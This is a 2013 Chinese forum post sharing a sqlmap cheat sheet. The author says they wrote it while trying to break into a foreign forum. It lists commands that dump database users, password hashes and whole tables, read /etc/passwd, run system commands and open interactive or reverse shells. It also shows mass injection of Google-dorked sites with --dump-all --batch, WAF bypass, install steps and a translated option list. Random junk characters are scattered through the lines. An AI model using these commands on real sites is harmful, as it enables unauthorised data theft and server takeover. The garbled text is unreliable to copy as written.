找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2686|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、- v' m) A% P- M+ W! E  ~6 z
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
: \+ H7 b  U9 {6 G' S" esqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名7 x" O0 |/ w# Y9 `
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段  T+ k! c9 t) L* o) z

1 i2 r5 N6 _* Hsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
' U' b, X4 U* P0 #获取字段内容
/ P0 G5 N5 A- H# t, v5 x( \
% A* D2 o0 q0 [6 j; X% U& P9 d******************信息获取******************
8 K# h' _8 w; v9 T" \) H$ y& `sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型, M8 _% R: E7 y( c  q% C
sqlmap -u “http://url/news?id=1″ –users #列数据库用户7 ~2 |' a2 K# K6 L4 F$ [
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
* b; _8 L$ V. Asqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
- b. B8 s: c: t% S$ v! i% Isqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
" |! D/ B5 D' F& r6 E* nsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”7 g+ w. R2 N% v7 r6 m
–start 1 –stop 20 #列出指定字段,列出20 条, j4 y$ F2 R/ y5 w/ B
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表- n7 K! l, \* o: P0 o" p
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
/ c5 ~  Y2 c- Y5 s( H" Osqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
4 K! M1 ?) n3 p& `" x; Nsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!), Y9 A# |7 R+ A' s: o( H
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
- H/ S, @# N# l! G# \- \sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录3 Q& }; _: Q- c: A( i
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
0 t  c  r( D% {: |, _. Xsqlmap -u “http://url/news?id=1″-b #获取banner信息1 ^; n# Y8 Q) Z. n+ @0 }% F$ @
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
3 X) X  `1 ?+ G! i+ F* X. Q9 f0 W$ Hsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型  A2 D# |: Y# V0 ~5 w% u
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入0 G: f  ~) V. ]! O
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
, X6 X% J" q, i9 D- ?; K, ?sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
4 {  @: i6 [7 ]/ J7 M, [sqlmap -u “http://url/news?id=1″ –file /etc/passwd
. O# `: H5 K' U4 ~- K/ L8 }) |7 {sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
* [/ H1 B8 \  ^7 \, @sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
1 z6 q7 w3 E$ z. fsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表4 i% j5 Q8 G* D8 L' |, {5 ~5 T6 D
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
1 T$ y* T# ~# [5 qsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
6 E* g, ?- v" M, y***********高级用法*************
6 X. m: N$ s  O2 c-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
/ k0 A4 F# ^5 E! a0 y& g  W0 j$ Usqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问, p' o" v. |2 }) y) _# T
–technique   测试指定注入类型\使用的技术' A# J6 c/ d" I2 Z- u& Z8 v
不加参数默认测试所有注入技术8 q& L6 `& y( @0 s& u, W7 F
•     B: 基于布尔的SQL 盲注! k8 i4 [- s4 H: p7 C& g1 `8 n) I
•     E: 基于显错sql 注入
, N! i1 E: m; q& G- w* U  e9 b•     U: 基于UNION 注入
; G7 t8 K. F- c2 Z( K•     S: 叠层sql 注入. C, @( C3 J+ D4 J- U  E9 m' `
•     T: 基于时间盲注3 k. m; ?. I" j" m: f  W
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
% A' i; l3 w/ J–tamper 插件所在目录1 G0 S, n0 v4 K
\sqlmap-dev\tamper
* y" |1 L- j- ~" q0 x* A; Ysqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
* y" u2 R/ c$ X' H, L$ V9 m# z, clevel 执行测试等级 攻击实例:
3 W6 }* |5 \: X/ y6 Q+ v. n& j& DSqlmap -u “http://url/news?id=1&Submit=Submit”1 B5 F; |0 i/ ]. p' E7 I2 K
–cookie=”PHPSESSID=41aa833e6d0d
2 r8 d9 n1 j$ k0 P28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user, k; b, ^( C1 f. k4 k( I- T1 f
–password
: z; V$ S0 N# Y7 v4 T: U& m参考文档:http://sqlmap.sourceforge.net/doc/README.html
& |3 }6 N; j' O: u. T' e9 N8 d***********安装最新版本*************
/ o! U9 d. [1 |: E+ Kubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版" m5 [  i. v+ l9 u" H
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev; p7 u6 x7 ]' x
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
% b% B% J2 [$ u# B1 f3 Q2 T* A2 N, Esudo vim /home/当前用户/.bashrc
/ B3 B" p! n0 K# A! b; C4 f#任意位置加上:
2 y4 Y3 Y8 N. h3 _( D3 A1 _" t0 G0 X5 f  Yalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效$ R/ P4 b1 W2 r& m: N* r) ]
如果想对所有用户有效 可设置全局 编辑下面的文件; c9 ~3 t; @; ^# Z  x
vim /etc/profile
- \3 T' Z1 h6 j同样加上:, `4 c4 N. f8 }0 Q# Y1 m
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效- A% n0 d, L* h. O# t% C
******************windows 7 (x64) sqlmap install (SVN)************5 Q/ u$ p( f1 a1 o
http://www.python.org/getit/ 安装python; p; @! j$ P0 {9 ?' s2 w3 [! w1 y
http://www.sliksvn.com/en/download 安装windows svn client
) u: g+ ?9 U1 U" _svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev' y+ `- D4 @2 T4 M; b
安装sqlmap
: Z: \$ \1 N; w3 F*修改环境变量
4 v; f- K" w& H! S- P% `–version             显示程序的版本号并退出1 t2 X/ L3 T. f, s/ ~. b
-h, –help            显示此帮助消息并退出
+ }+ T3 I8 S* T& @0 |! V, I-v VERBOSE            详细级别:0-6(默认为1)1 ~5 E: c8 i0 a0 c) \+ |
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。- q+ W: M4 ?1 z& Z
-d DIRECT           直接连接到数据库。" l, x5 b5 U9 U4 |) l7 Y7 K
-u URL, –url=URL   目标URL。% S; _8 u. u: x6 d% q$ H5 Q0 R
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
- I( s0 O% C$ [% f% ?-r REQUESTFILE      从一个文件中载入HTTP 请求。1 d8 m( n7 c+ r4 g. d
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
; I9 X5 k9 C. `5 E. ^0 {( ~-c CONFIGFILE       从INI 配置文件中加载选项。& }2 r( g2 m! y6 F$ f" S* @* C) \0 Y
Request(请求)::; _* |$ y5 x+ S( i0 V  ]
这些选项可以用来指定如何连接到目标URL。
+ m( C3 h3 h5 l" f  }–data=DATA         通过POST 发送的数据字符串
- r2 d3 g/ M! g% k$ `–cookie=COOKIE     HTTP Cookie 头
/ X/ w2 J( l! [–cookie-urlencode  URL 编码生成的cookie 注入
& I  [. f' Z& N7 E2 f# U4 @–drop-set-cookie   忽略响应的Set –Cookie 头信息9 B# t1 p$ o, o- ?6 ^% w" I
% @# o' v4 h' Y  f8 Y) t
–user-agent=AGENT  指定  HTTP User –Agent 头$ f$ J, s* k+ W" a( |/ K3 ]
–random-agent      使用随机选定的HTTP User –Agent 头& o7 o  i% c2 N, Z/ p# H
–referer=REFERER   指定  HTTP Referer 头
$ \; B6 G# G+ ?6 z3 o–headers=HEADERS   换行分开,加入其他的HTTP 头2 V  J5 m2 x2 g2 q% E
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)( h+ e3 j) @  v. Q- C
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
, b7 V. j- b7 }–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
, Y; f9 h/ u8 u5 }–proxy=PROXY       使用HTTP 代理连接到目标URL. G. U9 q. Z3 N6 h( p
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
7 `8 D, E$ Y8 O! r# l# l–ignore-proxy      忽略系统默认的HTTP 代理  z+ G( [/ V5 U' p5 F) o! m; Q1 p
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
* i4 B+ m) h7 a3 p+ T6 @$ Y–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)! [$ \4 G; x' t5 i# S7 b
–retries=RETRIES   连接超时后重新连接的时间(默认3)) z) p& h* E& O
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
- p  N( A" W, u8 e5 S) t–safe-url=SAFURL   在测试过程中经常访问的url 地址
, E. Q* a' W: \$ F–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
6 s# A: {5 D& s) yOptimization(优化): 这些选项可用于优化SqlMap 的性能。( U4 H: f/ C5 A% k6 }6 w
-o                  开启所有优化开关
4 F3 X5 p1 Y2 ~& J+ ^( E–predict-output    预测常见的查询输出
% P& |  p8 h6 Y- K–keep-alive        使用持久的HTTP(S)连接
( f9 X8 y- C) x# d! H" y–null-connection   从没有实际的HTTP 响应体中检索页面长度2 ~6 j+ m; w, C+ @* R' T
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
' D$ o, _$ y' T: f1 F1 mInjection(注入):' g- r; X& a4 R1 s% z
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。8 D% m0 P1 C# N% s4 @! _
-p TESTPARAMETER    可测试的参数(S)" M9 o6 k" T5 p( t( i/ T
–dbms=DBMS         强制后端的DBMS 为此值% ?1 f6 T# d4 X& d" \: N/ o1 q3 O# C
–os=OS             强制后端的DBMS 操作系统为这个值
& o# s: E5 L. E–prefix=PREFIX     注入payload 字符串前缀9 `; O' A+ A# I2 ]
–suffix=SUFFIX     注入 payload 字符串后缀! @7 z2 l$ Y6 F7 h
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
' y4 u% \& h: R  nDetection(检测):, @4 M+ B. c' p# e( I# y% u) ?
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。6 w& L: y6 J6 N0 P7 R, [
–level=LEVEL       执行测试的等级(1-5,默认为1)
1 @& @% l- G4 ?0 p, |  _–risk=RISK         执行测试的风险(0-3,默认为1)
9 f: R7 h- \: q+ L; a–string=STRING     查询时有效时在页面匹配字符串1 m/ @& Y5 e+ @4 {8 @* \. r+ [& |
–regexp=REGEXP     查询时有效时在页面匹配正则表达式
! b8 g, L; ~: D* {* P% `7 H–text-only         仅基于在文本内容比较网页, r9 J1 [& W' Q* V8 L2 G! T% P
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
! a+ G5 D! Z. s  h–technique=TECH    SQL 注入技术测试(默认BEUST); a5 g& g% h$ f% I+ K9 {. q, x
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
5 N% f& h5 x  ?2 H; o9 g6 U–union-cols=UCOLS  定列范围用于测试UNION 查询注入: y6 g- _5 K7 g) x
–union-char=UCHAR  用于暴力猜解列数的字符1 l+ i  w% x+ `) \* ~- t0 [# f" l" V) E
Fingerprint(指纹):
; u4 n4 X) G% q  k2 q; u-f, –fingerprint     执行检查广泛的DBMS 版本指纹
8 F9 @' c! w" l) D) {  v0 \7 [Enumeration(枚举):
5 U; v0 V- w, L, u$ { 2 v2 O; [9 R8 P
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。! f, a9 }! B$ w+ x- [8 B% l
-b, –banner        检索数据库管理系统的标识7 I- u, d0 f  L
–current-user      检索数据库管理系统当前用户
! l0 {+ k! u# f" N* J: S, J! o–current-db        检索数据库管理系统当前数据库& y0 k0 t4 m) W( i/ H' [
–is-dba            检测DBMS 当前用户是否DBA
. _) Q4 r5 B& ?* _/ R. Z–users             枚举数据库管理系统用户
" z& s" j% G& r) d$ L–passwords         枚举数据库管理系统用户密码哈希5 y( i6 p1 |/ z/ q" b
–privileges        枚举数据库管理系统用户的权限& g0 Q* U# {% E. D  x9 u8 ~
–roles             枚举数据库管理系统用户的角色( d: m" [- J1 V" o
–dbs               枚举数据库管理系统数据库
: U1 |. T/ j' \% Q3 J4 G–tables            枚举的DBMS 数据库中的表! }% t; I8 M: n0 m
–columns           枚举DBMS 数据库表列- B* B" B# b. K! f, g
–dump              转储数据库管理系统的数据库中的表项- |: A( H2 ~' E) {. Q6 ]
–dump-all          转储所有的DBMS 数据库表中的条目
3 z3 T) l8 x. D–search            搜索列(S),表(S)和/或数据库名称(S)
! Q2 l4 j# \, A) U  b) g$ b3 j-D DB               要进行枚举的数据库名8 G$ e6 B$ ]0 [7 _2 V, g( T
-T TBL              要进行枚举的数据库表. U% z7 B8 j; l$ F
-C COL              要进行枚举的数据库列, M, P( D" m! L3 }& Q) {
-U USER             用来进行枚举的数据库用户4 E: I9 t! z7 G5 k; G
–exclude-sysdbs    枚举表时排除系统数据库
4 a% q. _7 ?# H8 v: Y& e–start=LIMITSTART  第一个查询输出进入检索1 ]4 l+ f; H$ B$ T9 x+ t: a
–stop=LIMITSTOP    最后查询的输出进入检索
/ {* g: B. M' Q, D–first=FIRSTCHAR   第一个查询输出字的字符检索
* U* V# \+ B9 D$ ]1 ^7 k2 k–last=LASTCHAR     最后查询的输出字字符检索* o5 ]- }' w. k7 q$ p5 O# U
–sql-query=QUERY   要执行的SQL 语句
2 w, _. v3 }: l5 K8 i0 R–sql-shell         提示交互式SQL 的shell. M  Q- D: x) Q( z
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
1 t% v; u4 h( H: ~–common-tables     检查存在共同表
) v7 z/ C3 v& c4 c* T–common-columns    检查存在共同列3 a- M- P+ I, [
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。4 O9 g$ r+ [" v5 g7 i
–udf-inject        注入用户自定义函数; U# f/ w6 H+ }$ M$ i5 `/ v
–shared-lib=SHLIB  共享库的本地路径) [1 Z. v- e( Y" Z4 y) e
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
" W' m8 S+ [' [2 ?# d# E! A7 |–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
" J# F% l6 H* h, e8 a6 A–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
3 e, f* Z+ q6 u- b' ]9 N/ Y) ?–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
9 i6 v9 w$ b* ?) @, K6 m1 gOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
; n" r4 Q( }1 ~7 K0 i–os-cmd=OSCMD      执行操作系统命令8 k0 w9 n- z8 j- w8 w. Z( H
–os-shell          交互式的操作系统的shell
+ ?( f2 V6 }0 k0 g" ~3 C–os-pwn            获取一个OOB shell,meterpreter 或VNC
4 s0 l1 B5 Y7 K  S* `9 K–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC% N9 V" z$ u& T( @0 T6 q# {
–os-bof            存储过程缓冲区溢出利用
! p" f* b) {1 w% X4 P% C–priv-esc          数据库进程用户权限提升
: I' {4 o  A9 p" d2 ]( R–msf-path=MSFPATH  Metasploit Framework 本地的安装路径: S) q+ G4 `! A* T4 K2 [
–tmp-path=TMPPATH  远程临时文件目录的绝对路径
; [" O9 x! o& D( ?+ H8 \  R
# c) `' T( \4 n2 OWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
7 r) z, `" K: u0 @8 U–reg-read          读一个Windows 注册表项值* `9 A/ `6 C8 L+ p3 q( |
–reg-add           写一个Windows 注册表项值数据
6 V* h0 b1 l# h& _: ?! V2 u–reg-del           删除Windows 注册表键值
$ K4 o9 L# d9 K: m2 r% i–reg-key=REGKEY    Windows 注册表键
% }) T2 \3 t" |–reg-value=REGVAL  Windows 注册表项值
6 A1 [- @7 E) i/ O$ P6 Q6 D–reg-data=REGDATA  Windows 注册表键值数据( g$ E/ \% x; q& {. y
–reg-type=REGTYPE  Windows 注册表项值类型
: \" T+ ~2 l6 ]+ X! E- e8 O" A1 pGeneral(一般): 这些选项可以用来设置一些一般的工作参数。) A- G* L% s% Z, Z( H% H/ ?1 ~
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
" }, `4 `7 E* e( |8 E1 I6 W* e-s SESSIONFILE      保存和恢复检索会话文件的所有数据3 n3 w, L3 J9 C6 N3 f" x
–flush-session     刷新当前目标的会话文件
% \, H7 |) ^. |–fresh-queries     忽略在会话文件中存储的查询结果2 ^4 |+ @% G& C# ^+ D: t
–eta               显示每个输出的预计到达时间
1 ~, [0 U1 P. M( d–update            更新SqlMap
, Q# b2 P4 T" X  Z5 m–save              file 保存选项到INI 配置文件
) x4 W3 j; \# e. q/ s" E–batch             从不询问用户输入,使用所有默认配置。+ g2 T  _# E7 R' t( z* F
Miscellaneous(杂项):8 [; {' N# j5 }
–beep              发现SQL 注入时提醒
4 m; N, S# s, b! @  j# s–check-payload     IDS 对注入payloads 的检测测试
: @  h: W, C9 q7 J; o0 q- `  ^/ F0 [–cleanup           SqlMap 具体的UDF 和表清理DBMS: T6 C" ?9 j4 k- @+ {  P
–forms             对目标URL 的解析和测试形式
/ |0 P5 V7 x# i: r! E–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
' n6 F; [; |' ?) w, u$ q; B–page-rank         Google dork 结果显示网页排名(PR)5 j! s1 s2 X7 C4 C
–parse-errors      从响应页面解析数据库管理系统的错误消息
* W2 N, {' I7 o5 b( B–replicate         复制转储的数据到一个sqlite3 数据库
* m% [) t% t! |( U* T. U' y–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
6 H) j. G4 l9 ~( y; Z2 i/ E–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表